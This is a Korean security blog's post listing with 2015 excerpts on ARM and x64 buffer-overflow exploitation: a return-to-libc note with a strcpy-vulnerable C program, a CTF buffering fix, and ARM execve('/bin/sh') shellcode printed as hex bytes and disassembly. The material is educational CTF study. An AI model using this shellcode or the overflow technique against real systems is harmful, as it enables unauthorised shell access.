본문 바로가기

전체 글143

[ARM bof] - system함수 RTL RTL은 공격방법은 x86과 동일하다. 다만 차이가 있다면 인자전달 방식에서 스택이 아닌 레지스터를 사용한다는 것이기 때문에 system함수를 호출하기 전에 인자값 구성을 위한 코드를 먼저 실행시켜야 한다. 그래서 RTL이라고 말하긴 했지만 사실상 x86에서 하는 ROP와 크게 다를 것은 없다고 생각된다. 문제 소스는 아래와 같다. bbolmin@linaro-developer:~$ cat vuln.c #include #include void main(int argc, char **argv){char buf[256]; strcpy(buf, argv[1]); printf("input : %s \n", buf);} 물론 컴파일은 SSP, ASLR 등의 보호기법은 해제하고 해준다. ^ 먼저 간단히 버퍼 사이즈 .. 2015. 2. 25.
[Grotesque] wtf 100점 밖에 안되는 문제이다 ... 바이너리는 아주 간단한 x64 bof 취약점을 가진다. 전에 unexploitable 풀때도 버퍼링 문제가 있었는데 그때는 그냥 sigreturn을 사용해서 해당 문제를 넘겨 버렸었다.그런데 이 문제는 애초에 버퍼링을 해결하는 것이 문제 !!! 문제는 c나 python으로 popen해서 통신할 때 wrtie를 해주더라도 버퍼링 때문에 계속해서 read함수에 걸려있다는 것이다 ㅜ버퍼링 때문에 다음 코드 진행이 안됨 ㅡㅡ;;; 삽질 끝에 방법을 알았다 ... strace -f로 자식프로세스의 시스템콜을 보면 4096byte가 들어올때까지 read하는 것 같았다.그래서 나머지를 더미로 채워넣어서 4096 넣으니 버퍼링 문제가 해결된다;;; 이게 unexploitable에도.. 2015. 2. 25.
[Pwnable] ARM shellcode execve - execve("/bin//sh", 0, 0)코드. (31byte) \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\x49\x1a\xc2\x1c\x11\x71\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x2f 1. 다른 쉘코드는 execve("/bin/sh", ["/bin/sh"], 0)을 으로 인자를 주는데 굳이 "/bin/sh"의 포인터를 안주고 NULL로 줘도 상관 없는듯 ....2. 그리고 //bin/sh 문자열 끝에 NULL을 안넣어서 쉘코드 위에 오는 더미들까지 따라 붙었음 ...ㅡ 이 부분도 수정3. 아래 어셈코드의 opcode 데이터를 "//bin/sh"를 "/bin/sh?"로 수정해주자.. 2015. 2. 23.
[ARM bof] - execve 쉘코드 exploit db의 execve 30byte 쉘코드 http://www.exploit-db.com/exploits/14097/ /*Title: Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytesDate: 2010-06-28Tested: ARM926EJ-S rev 5 (v5l) Author: Jonathan SalwanWeb: http://shell-storm.org | http://twitter.com/jonathansalwan ! Dtabase of shellcodes http://www.shell-storm.org/shellcode/ 8054: e28f3001 add r3, pc, #1 ; 0x1 8058: e12fff13 bx r3 805c: 4678 m.. 2015. 2. 18.